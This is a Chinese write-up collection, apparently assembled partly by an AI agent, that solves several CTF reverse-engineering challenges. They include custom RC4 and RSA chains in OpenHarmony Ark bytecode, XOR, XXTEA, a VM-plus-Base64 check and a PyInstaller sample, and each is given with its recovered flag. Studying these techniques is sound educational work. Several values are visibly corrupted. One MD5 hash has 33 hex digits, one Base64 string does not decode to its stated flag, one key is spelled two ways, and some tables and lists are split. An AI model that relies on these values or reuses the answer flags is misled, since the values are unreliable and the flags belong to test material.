`0x140003c80` 的初始化路径通过 `0x140005120` 构造 `0x00ff0000` 范围描述, 并经 `0x140005620`、`0x1400068b0`、`0x140006c00`、`0x1400048a0` 进入 inclusive range 迭代器。其低 16 位起点为 0, 高 8 位终点为 255, 表示 `0..=255`。随后另一段 `0..0x100` 范围用于遍历 256 个 KSA 下标。因此状态表初始长度为 256, 内容为:

```
S = [0, 1, 2, ..., 255]
```

循环在 `0x140003d71-0x140003eff`。每轮以 16 位寄存器做加法, 并在溢出时进入 panic 路径; 对实际字节值不会超过 16 位。结果随后截为低 8 位: `0x140003eac` 将 `ax` 移入 `cx`, `0x140003eaf` 零扩展 `al`, `0x140003eb2` 将低字节状态写回。`0x1400057d0` 对 `i`、`j` 和切片长度做边界检查, 再由 `0x140005270` 交换两项; 状态表的 `i`、`j` 下标由显式低字节截断限制在 0-255; KSA 选取密钥字节时另按 `i % 8` 索引。

逐轮公式:

```
j = (j + S[i] + (K[i mod 8] XOR 0x66)) mod 256
swap(S[i], S[j])
```

其中 `K = b"loverust"`, `i` 从 0 到 255, `j` 初始为 0。前八轮的复算结果:

i	K[i]	K[i] XOR 0x66	S[i] (交换前)	j	S[j] (交换前)
0	108	10	0	10	10
1	111	9	1	20	20
2	118	16	2	38	38
3	101	3	3	44	44
4	114	20	4	68	68
5	117	19	5	92	92
6	115	21	6	119	119
7	116	18	7	144	144

KSA 结束后, `0x140003d78-0x140003d8c` 把 `i`、`j` 两个 16 位状态清零。`0x140003f40` 是每个输入字节执行的闭包:

- `0x140003f49-0x140003f77`: `i = (i + 1) & 0xff`。
- `0x140003f7a-0x140003fb1`: 读取 `S[i]`, 令 `j = (j + S[i]) & 0xff`。
- `0x140003fe0-0x140004012`: 经 `0x1400057d0` 交换 `S[i]` 与 `S[j]`。

4. 0x140004021-0x1400040a9: 读取 $z = S[(S[i] + S[j]) \& 0xff]$ 。加法结果显式截成低 8 位后用作索引。
5. 0x1400040ac-0x1400040c1: 高低 nibble 对换得到 $r = ROL4(z)$ ，再加一；将其与输入字节 XOR 后再加一，均按 u8 回绕。

完整加密式:

```
r = ((z << 4) | (z >> 4)) & 0xff
mask = (r + 1) & 0xff
cipher = ((plain XOR mask) + 1) & 0xff
```

逆变换式:

```
plain = ((cipher - 1) & 0xff) XOR mask
```

脚本 `analysis/solve_558.py` 从硬编码目标逐字节计算 PRGA 状态和 mask，并执行逆式。下表每一行由脚本打印的完整记录整理，列为 pos, i, j, S[i] (更新 j 前), S[i] (交换后), S[j] (交换后), t, S[t], nibbleSwap, mask, target byte, plaintext byte。

状态更新 (前半程):

pos	i	j	S[i] 前	S[i] 后	S[j] 后	t
0	1	20	20	203	20	223
1	2	160	140	182	140	66
2	3	204	44	244	44	32
3	4	234	30	29	30	59
4	5	132	154	144	154	42
5	6	199	67	199	67	10
6	7	128	185	100	185	29
7	8	239	111	58	111	169
8	9	39	56	241	56	41
9	10	96	57	255	57	56
10	11	200	104	180	104	28
11	12	7	63	100	63	163
12	13	25	18	133	18	151
13	14	79	54	205	54	3
14	15	165	86	148	86	234
15	16	21	112	96	112	208
16	17	70	49	91	49	140
17	18	42	228	120	228	92
18	19	102	60	200	60	4

字节还原 (后半程):

pos	S[t]	nibbleSwap	mask	target	plain
0	7	112	113	24	102 (f)
1	51	51	52	89	108 (l)
2	102	102	103	7	97 (a)
3	243	63	64	40	103 (g)
4	120	135	136	244	123 (f)
5	57	147	148	173	56 (8)
6	90	165	166	200	97 (a)
7	47	242	243	195	49 (1)
8	93	213	214	182	99 (c)
9	176	11	12	63	50 (2)
10	196	76	77	45	97 (a)
11	224	14	15	57	55 (7)
12	159	249	250	202	51 (3)
13	244	79	80	52	99 (c)
14	30	225	226	209	50 (2)
15	59	179	180	142	57 (9)
16	89	149	150	245	98 (b)
17	242	47	48	3	50 (2)
18	29	209	210	176	125 (j)

拼接明文字节得到:

hex: 66 6c 61 67 7b 38 61 31 63 32 61 37 33 63 32 39 62 32 7d
 ASCII: flag{8a1c2a73c29b2}

analysis/solve_558.py 不导入外部包, 也不启动附件程序。脚本从 raw key 开始重新执行 key[i] ^= i、完整 256 轮 KSA、19 轮 PRGA, 再按正向公式加密候选。脚本输出:

```
raw_key_ascii= lntfvpus
key_index_xor_i_hex= 6c6f766572757374
effective_key_ascii= loverust
target_len= 19
target_hex= 18590728f4adc8c3b63f2d39ca34d18ef503b0
ksa_rounds= 256
candidate_hex= 666c61677b386131633261373363323962327d
candidate_ascii= flag{8a1c2a73c29b2}
roundtrip_hex= 18590728f4adc8c3b63f2d39ca34d18ef503b0
roundtrip_match= True
```

这同时确认目标常量长度、密钥预处理、状态更新顺序与输出逆式彼此一致。脚本运行命令和逐字节 trace 已记在 PowerShell transcript 中。

在项目根目录 C:\Users\mzj\Desktop\CTF 下：

```
python .\玄机刷题\题目资料\challenge_558\analysis\solve_558.py
Get-FileHash -Algorithm SHA256 .\玄机刷题\题目资料\challenge_558\R.zip
Get-FileHash -Algorithm SHA256 .\玄机刷题\题目资料\challenge_558\attachment\R.exe
```

命令及其输出记录：题目资料/challenge_558/analysis/powershell_transcript_20260929.txt。本地静态逆向与往返验证完成；

1.22 第一届 OpenHarmony arkt (ID #559)

题目信息：玄机 ID #559；类型 REVERSE；难度中等。

零基础知识点：Harmony ABC 是字节码与常量结构；先正确解析索引和字符串，再按程序顺序逆转自定义 Base64、RSA 和流变换，避免直接猜 flag。

本地逆向恢复出的候选 flag 为：

```
flag{b80ebf0f0e210ad73664bdd19c16387e}
```

附件中的 38 项密文经过逆向后得到该字符串；再按字节码恢复的完整加密流程正向计算，38 项逐一与附件目标相同。

项目	路径	SHA-256
平台下载 ZIP	附件\arkt_platform_20260929	81D7F3225DC36345A968A2F498E
	.zip	00AAD570C08B8DCAD89E13405BD
		3195A4263B
HAP	附件解包\task_5.hap	AFF302A750AF02C649ECCC1FB50
		4F348B74F76366B708389CE3897
		1A0B58F3DA
Ark ABC	附件解包\HAP内容\ets\module	AA0579A16AF1D76438040F1470C
	s.abc	46A007B5C7AE386AFF775C09EB8
		2C0BE6F03F

分析只使用本机 Python 标准库、项目中已有的 isa.yaml、ABC 手工解析/反汇编脚本和随题附件；没有为此安装反编译器。格式依据此前一次性查阅并保存到本地的 OpenHarmony 官方资料，查阅日期为 2026-09-29：file_format.md 用于核实 ABC 文件及 LiteralArray 布局；isa.yaml 用于解释指令编码；官方源码仓库 中随项目保存的 literal_data_accessor-inl.h 用于核实 LiteralArray 计数规则。它们只作格式和指令参考，没有查看题目公开 Writeup。

关键复现文件：

- `solve_arkt_target.py`: 本目录内的逆向和正向复算脚本；显式比较构造函数默认 `key` 与页面运行时 `key`。
- `analysis\agent_arkt559_independent_reproduce.py`: 独立实现的 ABC 索引、LiteralArray 解析及端到端复算脚本。
- `arkt559_analysis_transcript_20260929.txt`: 本目录主 PowerShell transcript，保存命令和原始输出，包括早期错误假设、纠错过程、字节码输出、最终复算和哈希。
- `analysis\agent_arkt559_independent_findings_20260929.md` 及 `analysis\agent_arkt559_independent_transcript_20260929.txt`: 并行复核记录和独立 transcript。

从 `entry/src/main/ets/pages/Index` 的 Ark 字节码确认: `handleCheck` 读取输入框文本并调用 `enc`，随后把 `enc` 产生的字符串数组与 `targetCipher` 按位置比较。数组长度及每一项都必须匹配。

`enc` 的数据路径是:

输入文本

```
-> rc4Encrypt(secretKey, input)
-> 对每个 RC4 字节执行 modPow(byte, 7, 75067)
-> RSA 数字转十进制字符串
-> UTF-8 字节
-> 标准 Base64
-> 自定义 Base64 字母表
-> targetCipher 逐项比较
```

`customBase64` 中标准字母表为 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, 自定义字母表为 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/. 其实现把标准 Base64 字符按相同下标替换为自定义表字符，所以解码时要把自定义表换回标准表，再 Base64 解码。解码后的字节是 RSA 密文整数的十进制文本。

HAP 中的 Ark 字节码位于 `ets/modules.abc`。使用项目中保存的 OpenHarmony ISA 表解析类索引、方法记录和指令。对 `handleCheck`、`enc`、`rc4Encrypt`、`rsaEncrypt`、`modPow`、`customBase64`、`stringToUint8Array`、构造函数及 `onPageShow` 进行交叉核对。方法指令和解析输出在 transcript 中。

构造函数将 `secretKey` 初始设为 OHCTF2025，并将 `isInitialized` 设为 `false`。首次显示页面时，`onPageShow` 检查该字段；尚未初始化时把 `key` 覆写为 OHCTF2026，再把标志置为 `true`。用户在页面输入并触发检查时，`enc` 从当前组件对象读取 `secretKey`，所以运行时有效密钥为 OHCTF2026。

忽略生命周期、只使用构造函数中的默认值会得到不可读的字节。复算脚本也试了默认值：它能按数学定义回算目标密文，但明文不符合 flag 格式；生命周期确定的 OHCTF2026 得到可读候选。

构造函数的 `createarraywithbuffer` 指令引用 LiteralArray 偏移 0x265a。ABC LiteralArray 头部的计数是 76。本地官方实现 `LiteralDataAccessor::EnumerateLiteralVals` 每轮按 `i += 2` 消费一个 tag/value 对，因此 76 对应 38 个数组值，而不是 76 个 flag 字符或 76 个独立字符串。38 个 tag 均为 STRING (0x05)；顺序及重复值必须原样保留。

按顺序解析并解码出的 RSA 密文整数为:

```
48970, 51749, 66662, 19428, 41939, 6883, 25852, 24849,
51749, 6883, 20438, 6010, 10970, 10850, 30648, 26553,
```

32227, 26954, 8412, 10597, 66344, 70294, 44489, 6883,
30648, 6031, 19460, 46945, 2330, 70343, 46778, 61810,
40341, 73746, 2330, 6010, 66221, 19460

完整自定义 Base64 token 顺序由脚本和 transcript 打印；例如开头 `ndG5nZa=` 解回 ASCII 48970，紧接的 `nTe3ndK=` 解回 51749。重复项（如 `nTe3ndK=`、`nJG4mW==`）是目标数组内容的一部分，不能去重。

`rsaEncrypt` 的字节码给出公钥参数 `n=75067`、`e=7`。分解：

```
75067 = 271 × 277
phi(n) = (271-1)(277-1) = 74520
d = 7-1 mod 74520 = 42583
```

逐项计算 `m = pow(cipher, 42583, 75067)`，得到 38 个 RC4 输出字节：

```
138c5ff4280f930c8c0f3c15e8bb72bcb6f8e11c70ecaf0f724fe48a4e082359d4294e15eae4
```

独立验证每项 `pow(m, 7, 75067) == cipher` 均成立。

此函数使用 RC4 风格的 S 盒和 PRGA，但 KSA 的索引与最终逐字节运算都不是标准 RC4。手工追踪 `rc4Encrypt` 的寄存器：

1. 初始化 S 为 0..255。2.KSA 每轮更新 j 时，从字节码确认它读取 `S[j]`，并以 j 取密钥字符：

```
j = (j + S[j] + key.charCodeAt(j % key.length)) mod 256
swap(S[i], S[j])
```

3.PRGA 使用通常的状态更新：`i=(i+1) mod 256`，`j=(j+S[i]) mod 256`，交换 `S[i]` 和 `S[j]`，再取 `K=S[(S[i]+S[j]) mod 256]`。4. 输出字节是加法：`C=(P+K) mod 256`。逆向要执行 `P=(C-K) mod 256`，不是 XOR。

使用运行时 key `0HCTF2026` 对 RSA 中间字节逐项相减，恢复：

```
flag{b80ebf0f0e210ad73664bdd19c16387e}
```

复现脚本把候选按原链路正向计算：自定义 KSA/PRGA 与模 256 加法、RSA `pow(byte,7,75067)`、十进制 UTF-8、Base64、自定义字母替换。输出的 38 个 token 与 `LiteralArray` 顺序逐项一致。两份解析路径不同的脚本都得到同一候选：主脚本直接从 `0x265a` 解析 tag/value；独立脚本先从 ABC 头部索引表读取第 17 项，再依据官方 accessor 的计数规则解析。

独立复算脚本最终报告：

```
CHECK RSA public-key roundtrip: PASS
CHECK custom Base64 token-by-token roundtrip: PASS
CHECK flag syntax: PASS
CHECK flag length: PASS
```

这证明附件内目标与候选在本地端到端匹配；

在 PowerShell 中运行独立复核脚本：

```
Set-Location 'C:\Users\mzj\Desktop\CTF\玄机刷题\题目资料\OpenHarmony_arkt_559'
python .\analysis\agent_arkt559_independent_reproduce.py
```

或运行当前目录内会同时比较构造函数默认 key 与页面运行时 key 的脚本:

```
python .\solve_arkt_target.py
```

完整的逐条终端输入、工具输出和前期纠错过程请查看 `arkt559_analysis_transcript_20260929.txt`。复核版还可查看 `analysis\agent_arkt559_independent_transcript_20260929.txt`。

- 只按文件中的可打印字符串扫描会漏掉重复项或打乱顺序; 应按 LiteralArray 索引和 tag/value 解析。
- 把头部计数 76 当作 76 个独立数组元素会多读后续数据; 本格式中一个值由 tag/value 两槽组成, 实际是 38 项。
- 只取构造函数里的 OHCTF2025 会忽略 onPageShow 的覆写。
- 使用标准 RC4 KSA (`S[i]`、`key[i % len]`) 或 XOR 都与此题字节码不一致。
- 自定义 Base64 解码前必须先把自定义字母映回标准表。
- 正向验证必须保留所有 38 项的原始顺序和重复项; 只检查 flag 语法不足以验证候选。

本轮重新从原始压缩包核对附件溯源, 并运行两个纯 Python 标准库复现脚本。没有启动 HAP/应用, 也没有执行题目目录中的任何 EXE;

文件	大小	SHA-256
附件\arkt_platform_20260929.zip	109,627 bytes	81D7F3225DC36345A968A2F498E00AAD570C08B8DCAD89E13405BD3195A4263B
附件解包\task_5.hap	135,682 bytes	AFF302A750AF02C649ECCC1FB504F348B74F76366B708389CE38971A0B58F3DA
附件解包\HAP内容\ets\modules.abc	22,072 bytes	AA0579A16AF1D76438040F1470C46A007B5C7AE386AFF775C09EB82C0BE6F03F

复现脚本使用 Python zipfile 只读检查容器: 原 ZIP 中唯一的 `task_5.hap` 与保存的 HAP 字节完全相同; HAP 中唯一的 `ets/modules.abc` 与解包目录里的 `ABC` 字节完全相同。这样可确认分析所用字节码确实来自随题 ZIP, 而不是后来替换的文件。

1.ABC literal-array 头部给出 21 个数组和索引表偏移 0x6c。索引 17 对应数组偏移 0x265a, 与构造函数 `createarraywithbuffer` 对 `targetCipher` 的引用一致。数组声明 76 个 literal slots; 每个字符串由 STRING tag 与 offset 两个槽组成, 因此是 38 个字符串。脚本逐条检查 tag, 保留顺序和重复项。2. 将自定义 Base64 逆映射为标准 Base64 后, 解码值是十进制 ASCII。比如 `ndG5nZa=` 解为 48970, `nnte3ndK=` 解为 51749。38 项完整序列由脚本从 ABC 动态读取, 没有写死在求解程序中。3. 字节码中

的 RSA 公钥为 $(n, e) = (75067, 7)$ 。 $n = 271 \times 277$, $\phi(n) = 74520$, $d = 7^{-1} \bmod 74520 = 42583$ 。每项通过 $m = \text{pow}(c, d, n)$ 还原为 0–255 的一个字节；脚本同时逐项核对 $\text{pow}(m, e, n) == c$ 。4. 结合页面生命周期静态反汇编，构造函数的 OHCTF2025 是初始值；首次 `onPageShow` 在 `isInitialized == false` 时改为 OHCTF2026 并设为已初始化。因此页面检查实际使用 OHCTF2026。5.KSA 根据字节码实现为 $j = (j + S[j] + \text{key}[j \bmod \text{len}]) \bmod 256$ ，随后交换 $S[i]$ 与 $S[j]$ 。PRGA 产生的流字节与输入相加（模 256），故逆向是相减（模 256）。RSA 解出的中间字节经此逆变换得到候选 `flag{b80ebf0f0e210ad73664bdd19c16387e}`。6. 正向重算完整执行变体 RC4、RSA 指数 7、十进制编码、自定义 Base64；生成的 38 个 token 与 ABC 目标逐项相等，`ALL_38_MATCH=True`。这还检查了数组中索引 8、9、23、35 等重复项没有被漏掉或去重。

从题目目录运行新的相对路径复现脚本：

```
Set-Location 'C:\Users\mzj\Desktop\CTF\玄机刷题\题目资料\OpenHarmony_arkt_559'
python -B -u .\analysis\reproduce_arkt559.py
```

独立交叉复核：

```
python -B -u .\analysis\agent_arkt559_independent_reproduce.py
```

两条命令都退出码为 0。完整输入命令和逐条输出（含 38 个目标值与 38 行正向比较）记录在 `analysis\reproduce_arkt559_transcript_20260929.txt`；第二个解析器的输出也追加在该记录末尾。程序源代码分别为 `analysis\reproduce_arkt559.py` 和 `analysis\agent_arkt559_independent_reproduce.py`。目录级 SHA-256 文件清单由 `analysis/hash_inventory.py` 生成，见 `analysis\SHA256_INVENTORY_20260929.txt`；生成命令、条数和清单自身哈希记录在 `analysis\SHA256_INVENTORY_RUN_20260929.txt`。清单将其自身和生成日志排除，以避免递归哈希。

本地附件一致性和 38 项重加密匹配均通过；

- 候选： `flag{b80ebf0f0e210ad73664bdd19c16387e}`

1.23 第一届启航杯 note (ID #563)

题目信息：玄机 ID #563；类型 REVERSE；难度中等。

零基础知识点：位置异或把密文字节与循环密钥、下标函数组合。下标偏移一位就会让全部结果错误；先用短样本验证起始下标。

note 在运行时解包。旧终端记录先隔离检查文件并读取进程 `maps/mem`，从匿名映射中的 ELF magic 找到已解包映像，导出工作文件，再用 `readelf`、`objdump`、`xxd` 检查实际验证逻辑。定位到的密文：

```
2559c31f3c41df061b7af835057cec5e6169f30c1347fe2a294b890b1e1c8b132873ba6e3e57ea3a1e5af7
```

密钥字节为 42 37 A1 7C，规则为 $\text{pt}[i] = \text{ct}[i] \text{ XOR } \text{key}[i \bmod 4] \text{ XOR } ((i+1) \text{ AND } 0\text{xff})$ 。注意位置量从 1 开始；按 0 开始会导致每个字节偏一。逐字节逆运算得到：

```
flag{pyrPGREJEB22LAdDfHNrf3kA550Kf86YFlnuG}
```

候选再通过 bwrap 隔离运行原题程序，候选从 stdin 输入，退出码为 0。核心命令在旧 PowerShell transcript 中等价于：

```
python3 -c 'ct=bytes.fromhex("2559..."); key=bytes.fromhex("4237a17c"); pt=bytes(c^key[i%4]^((i+1)&255)
→ for i,c in enumerate(ct)); print(pt.decode())'
```

完整密文、精确命令/输出和隔离验证在记录/代理-note-终端记录.txt；解包 ELF 和分析工具在工作区/note_563/。

1.24 第一届启航杯 rainbow (ID #564)

题目信息：玄机 ID #564；类型 REVERSE；难度中等。

零基础知识点：逐字节 XOR 使用同一个单字节密钥时，可由已知明文前缀反推密钥；候选应再用程序中的已知示例验证。

附件 ZIP 有 x86-64 PIE ELF rainbow 和 output.txt。ELF 的 xor_encrypt 函数逐字节执行 XOR；hide_flag 的立即数确证 key=0x5A。程序内置 demo flag{this_is_flag} 经加密后只有 18 字节；output.txt 密文为 43 字节，是另一条数据，不能混为一谈。

output.txt 的 43 字节 HEX 为：

```
3C363B3D2128306F0A34376C0F1D231D1C396A6B183636332C1036331D1320696D3D22023C3B30626F2027
```

逐字节 XOR 0x5A，开头 3C 36 3B 3D 21 解成 flag{，并得到格式闭合、内容为字母数字的候选：

```
flag{rj5Pnm6UGyGFc01B1livJliGIz37gxXfaj85z}
```

脚本 rainbow_xor_decrypt.py 完成解密；rainbow_verify_key.py 从 ELF demo 字符串独立校验 key。二者和样本位于题目资料/rainbow/；原始日志为记录/代理-Rainbow-终端记录.txt。脚本复跑退出码 0。

1.25 2026 安网杯-闸机票根 (ID #589)

题目信息：玄机 ID #589；类型 REVERSE；难度中等。

零基础知识点：RC4 由 KSA 初始化置换表、PRGA 生成密钥流；加密和解密都是与密钥流 XOR。嵌套加密时要先解出外层票据，再用它作为内层密钥。

附件 gate_ticket 是 ELF64。按 ELF 节表定位.rodata，在 GTK1 标记后偏移 4 处读取票据长度，再取 16 字节 RC4 key、11 字节加密票据；标记前 0x40 字节处有 38 字节 flag 密文。第一层 RC4 解出可打印票据，第二层以票据作为 RC4 key 解 flag。RC4 每轮 KSA/PRGA 按 256 状态置换，解密和加密是同一 XOR keystream 操作。

求解器还做两项校验：确认票据为 11 字节可打印文本；以原 key 重加密票据并比对密文。输出：

```
ticket: GT-A7K9M2QX
flag: flag{0a109ca9d704833bc2924f889d1b5576}
```

复现命令: `python -B labs/platform/solve_589_gate_ticket.py`, 退出码 0。实现和附件: `labs/platform/solve_589_gate_ticket.py`、`labs/platform/attachments/589-gate-ticket/gate_ticket`。ELF 类型、标记和输出记录: `figures/raw/fig-rev-18-589-file-strings.txt`、`fig-rev-19-589-rodata.txt`、`fig-rev-20-589-solve.txt`。

1.26 商丘师范学院第四届网络安全及信息对抗大赛 ezRe (ID 未确认)

题目信息: 题目 ID 未确认; 类型 REVERSE; 难度中等。

零基础知识点: Base64 解码只是恢复字节表示; 从 Python marshal 常量中确认输入字符串和调用关系, 能区分程序输出的 flag 与无关字符串。

样本题目资料/ezRe/33.exe 是约 5.9 MB 的 PyInstaller 单文件程序。静态提取而不执行 PE: `extract_pyi.py / pyi_toc.py` 还原主条目 `pyi_extracted/33.marshal`, 大小 235 字节。读取 Python 3.9 marshal code object 的常量、名称和 bytecode, 可见模块逻辑仅为 Base64 解码后打印:

```
encoded_flag = 'ZmxhZ3s0YjE0YTl1Ny00MzM2LTQxNTItOWYwNi000GM3YjF9'
flag = base64.b64decode(encoded_flag).decode('utf-8')
print(flag)
```

解码命令输出 `flag{4b14a257-4336-4152-9f06-48c7b1}`, 共 36 bytes。本轮未执行未知 PE; 只对从 marshal 常量还原出的 Base64 做了独立解码。样本、提取脚本及 marshal 位于题目资料/ezRe/。精确 Python 输入输出在记录/代理-WP 补全-子代理 B.txt。

1.27 商丘师范学院第四届网络安全及信息对抗大赛 (校外赛) 不劳春风解我忧 (ID 未确认)

题目信息: 题目 ID 未确认; 类型 REVERSE; 难度中等。

零基础知识点: XXTEA 使用 32 位模加减、位移、异或和轮常量。解密必须按逆轮次处理; 去除缓冲区 NUL 后, 再用同一密钥重加密比较原密文。

附件 main.exe 对应脚本 `solve_xxtea.py` 中的 11 个 32 位密文 word 和 4-word key。使用标准 XXTEA 混合函数与 `DELTA=0x9E3779B9`, 轮数为 $6+52//11=10$, key 为 `[0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x87654321]`。解密按逆轮顺序执行 32 位模减法, 最后以小端序将 word 还原为字节。

输出有两个结尾 NUL, 是固定长度缓冲区填充, 应将它们作为固定长度填充剥除后得到 UUID 文本。最重要的正确性检查是用同一 key 将恢复的 word 再加密, 逐项对照原密文:

```
words = 11 rounds = 10 expected sum = 0x2e2ac13a
candidate text = flag{ec794d1c-2e76-4a5b-8d21-940fb63ca7e8}\0\0
reencryption matches target = True
```

候选: `flag{ec794d1c-2e76-4a5b-8d21-940fb63ca7e8}`。脚本与样本位于题目资料/不劳春风解我忧/solve_xxtea.py 和 main.exe; 精确复现记录在记录/代理-WP 补全-子代理 B.txt。

1.28 商丘师范学院第四届网络安全及信息对抗大赛圣人当仁不让 (ID #533)

题目信息: 玄机 ID #533; 类型 REVERSE; 难度中等。附件 `ez_vm.zip` 内是一份 Windows x64 程序 `ez_vm.exe`。

零基础知识点: Base64 把每 3 字节变成 4 字符; 若最后只剩 2 字节, 正确结果应只有一个 `=`。程序错误地写两个 `=`, 会覆盖一个本应保留的字符, 造成信息丢失。程序能接受的字符串与平台认可的 flag 因而可能不同, 必须分别验证。

1.28.1 从输入流程找到比较目标

静态读取程序主函数: 先用 `fgets(buffer, 0x12, stdin)` 读取至多 17 个字符, 再删除换行, 要求 `strlen(buffer)==17`。程序随后复制这 17 字节, 对每个字节执行相同的 VM 运算, 把结果送入 Base64 编码器, 最后与内置字符串 `z8n00NT0ntKdop6dloqh1Q==` 比较。没有额外输出 flag 的分支。因此先逆回 17 字节输入, 再判断本地比较是否完整保存了信息。

VM 对每个输入字节 `x` 的操作是先 XOR `0xaa`, 再加 5、减 2, 按 8 位截断, 合并为 `y=((x XOR 0xaa)+3) mod 256`。逆操作必须先减 3 再 XOR: `x=((y-3) mod 256) XOR 0xaa`。对内置 Base64 目标解码后恢复前 16 个输入字节, 得到固定前缀:

```
flag{a1e05109-4x
```

1.28.2 解释缺失的末字节

17 字节数据的标准 Base64 输出为 24 字符, 末尾应有一个 `=`。附件编码器却计算出两个 `=`, 把倒数第二个有效 Base64 字符也覆盖掉。这个字符携带末字节的一部分信息, 故不能从程序常量唯一逆回第 17 字节。按本地比较正向复算, 尾字节为 T、U、W 的三条可打印输入均能通过, 但均没有闭合花括号。这个结果揭示了校验器的实现缺陷, 不能把它们直接认作平台答案。

已知前 16 字节固定, 又知道题目使用 `flag{...}` 格式, 补入闭合花括号 `}` 得到 17 字节完整文本 `flag{a1e05109-4x}`。用附件的错误 Base64 编码器计算时, 该文本不会与其常量匹配; 玄机平台提交此完整文本后, 题目显示已完成、步骤 1/1。因此解题时应如实写明: 平台确认的是规范 flag, 附件的本地比较实现有错误。

最终 flag: `flag{a1e05109-4x}`。原件、PE 静态分析、VM 逆算、Base64 复核与终端记录保存在题目资料/题目分类/逆向工程/圣人当仁不让_533/。

1.29 商丘师范学院第四届网络安全及信息对抗大赛天下谁人不识君 (ID #534)

题目信息：玄机 ID #534；类型 REVERSE；难度中等。附件 天下谁人不识君.zip 内只有一份 Python 源码。

零基础知识点：代码中直接赋给变量的值与注释中的样例可能不是同一次运行的结果。分析题目时，先核对当前代码实际处理的输入，再用手写逆运算解释注释密文；不要把旧注释当成当前程序的输出。

1.29.1 附件和核心源码

ZIP 的 SHA-256 为 EE9F84EA4ED73201BDE00509C5EAD9FD3476F22D07D9390ED9EAA7F022FB10AA。唯一成员 天下谁人不识君.py 为 295 字节，SHA-256 为 FCCC83EABCB024E83DAC3A6A646F62E21C1CA6A43C031637D6C1B47A7FE26B2B。静态读取这份短源码即可看到：

```
flag = 'flag{0af4edfd-3b6c-4f6f-853c-5b83acb20708}'
s = 'wesyvbniaczchjko1973652048@$$+--&*<>'
result = ''
for i in range(len(flag)):
    s1 = ord(flag[i]) // 17
    s2 = ord(flag[i]) % 17
    result += s[(s1+i)%34] + s[-(s2+i+1)%34]
print(result)
# result = 'v7b3boika$h4h5j0jhkh161h79393i5x010j0y8n$i'
```

当前 flag 变量是 42 字符，循环每个字符输出 2 字符，因此运行输出必为 84 字符；注释中的字符串只有 42 字符。只比较长度就能发现两者不是同一次计算。这一步比直接逆出注释更关键，因为题目问的是附件实际保存的 flag。

1.29.2 为什么注释会误导

若仍要解释注释密文，可设第 i 个明文字节为 x ，令 $q = \text{ord}(x) // 17$ 、 $r = \text{ord}(x) \% 17$ 。编码后两字符在字母表 s 中的索引满足 $j1 = (q+i) \% 34$ 、 $j2 = -(r+i+1) \% 34$ 。逆运算为 $q = (j1-i) \% 34$ 、 $r = (-j2-i-1) \% 34$ 、 $\text{ord}(x) = 17q + r$ 。逐对计算注释密文，能还原 SQCTF{libai_jianxian}，再正向编码也确实回到该注释。但这只能证明注释对应另一份输入，不能推翻源码第一行的实际赋值。

例如注释开头 v7 的字母表位置为 4、18，在 $i=0$ 时得到 $q=4$ 、 $r=15$ ，所以字节值为 $4 \times 17 + 15 = 83$ ，ASCII 字符 S。完整 21 对字符均能如此求解。反过来对当前源码第一行的 flag 执行编码，输出长度为 84，内容与注释不等。这个双向核对把“注释能自洽”和“当前代码使用什么值”区分开了。

最终 flag：flag{0af4edfd-3b6c-4f6f-853c-5b83acb20708}。附件原件、逆向脚本、逐字符表及命令输出保存在 题目资料/题目分类/逆向工程/天下谁人不识君_534/。

1.30 第一届 OpenHarmony secret (ID #561)

题目信息：玄机 ID #561；类型 REVERSE；难度中等。附件 `secret.hap` 是 OpenHarmony 应用包，包含 Ark 字节码、资源文件和 `libsecret.so`。

零基础知识点：HAP 类似 APK，是应用资源的压缩容器。Base64 只改变表示方式；SM4、AES 与 XXTEA 才是加密算法。哈希函数 MD5 的输出必须按精确输入字节复算。题内文字若与公式矛盾，应分别记录两者，不能写成数学上相等。

1.30.1 从 HAP 里恢复提示

先解压 HAP，重点查看 `ets/modules.abc`、`resources.index`、`resources/rawfile/enc` 和 `libs/x86_64/libsecret.so`。Ark 字节码显示 `face` 页面读取图片、把其 Base64 文本存成 `bb.txt`；`final` 页面对该文本求 MD5，再用它解开资源索引中的 AES 密文。因此先要恢复用于生成 `bb.txt` 的图片，才能得到提示口令。

`resources/rawfile/enc` 是 Base64 文本。解码后得到 45,264 字节密文；按 native 库中的自定义 SM4 参数解密、检查 PKCS#7 填充（末尾 12 字节均为 0x0c），再 Base64 解码，得到 33,939 字节 JPEG。该图片 SHA-256 为 71E5D289A949A642D8D139C4193894133110B327EE3379CCFE0AF619360C772F。把 JPEG 再编码成 Base64，所得 45,252 字节文本的 MD5 是 4ba9b421e88b4a70cff1b4300af97b74。

`resources.index` 在偏移 0x424 起有 344 字符 Base64，解码后为 `Salted__` 头、8 字节 salt 5efd2afd3fa774c7 和 240 字节 AES-CBC 密文。用上一段的 MD5 十六进制文本作为口令，按 OpenSSL 兼容的 MD5 KDF 解密，得到 233 字节英文提示。关键内容是：

```
The flag is MD5 of: (lock's password + "Harmony5337").
For example: If the lock's password is 012345678
Then the flag is flag{md5("012345678" + "Harmony5337")}
Which is flag{871f72716d85a6374f438ea70c2fd62c}
```

1.30.2 独立分析九宫格路径与提示矛盾

`libsecret.so` 的 `verifyPattern` 要求 9 个整数，对它们执行 XXTEA 后与内置 9-word 数组比较。从 ELF `.data` 节读出 4-word key 和目标数组，按 $6+52//9=11$ 轮反解，得到节点顺序 [1,3,7,5,2,4,8,6,0]；再按相同 key 正向加密，9 个结果与程序常量逐项相同。若把节点紧凑拼接为 137524860，依照提示前两行的公式求 MD5("137524860Harmony5337")，会得到 8b4ec604943712483bfca67cacf85f1a。

然而提示所举的 012345678 示例本身算错：实际 MD5("012345678Harmony5337") 是 a8f2f50ac7bcbf159d3e017721542768b，并非提示最后一行的 871f...。所以不能说最后一行由该公式推出。最终要从资源提示按原文读取答案，同时把上述公式矛盾作为资料错误记录下来。

最终 flag：flag{871f72716d85a6374f438ea70c2fd62c}。完整 HAP、资源解密脚本、XXTEA 反解脚本、正向复算和命令输出保存在 题目资料/题目分类/逆向工程/OpenHarmony_secret_561/。

第二章

密码学 (Crypto)

本类知识点：密码题先区分编码、哈希和加密，再确认密钥、模式、字节序及填充；解出候选后应尽量做正向闭环。

2.1 第九届 XCTF 国际网络攻防联赛总决赛-Tch3s (ID #286)

题目信息：玄机 ID #286；类型 Crypto；难度极难。

零基础知识点：伪随机数生成器 (PRNG) 若使用秒级时间作种子，已知输出就能检验种子。先用公开明文验证候选状态，再恢复后续密钥流。

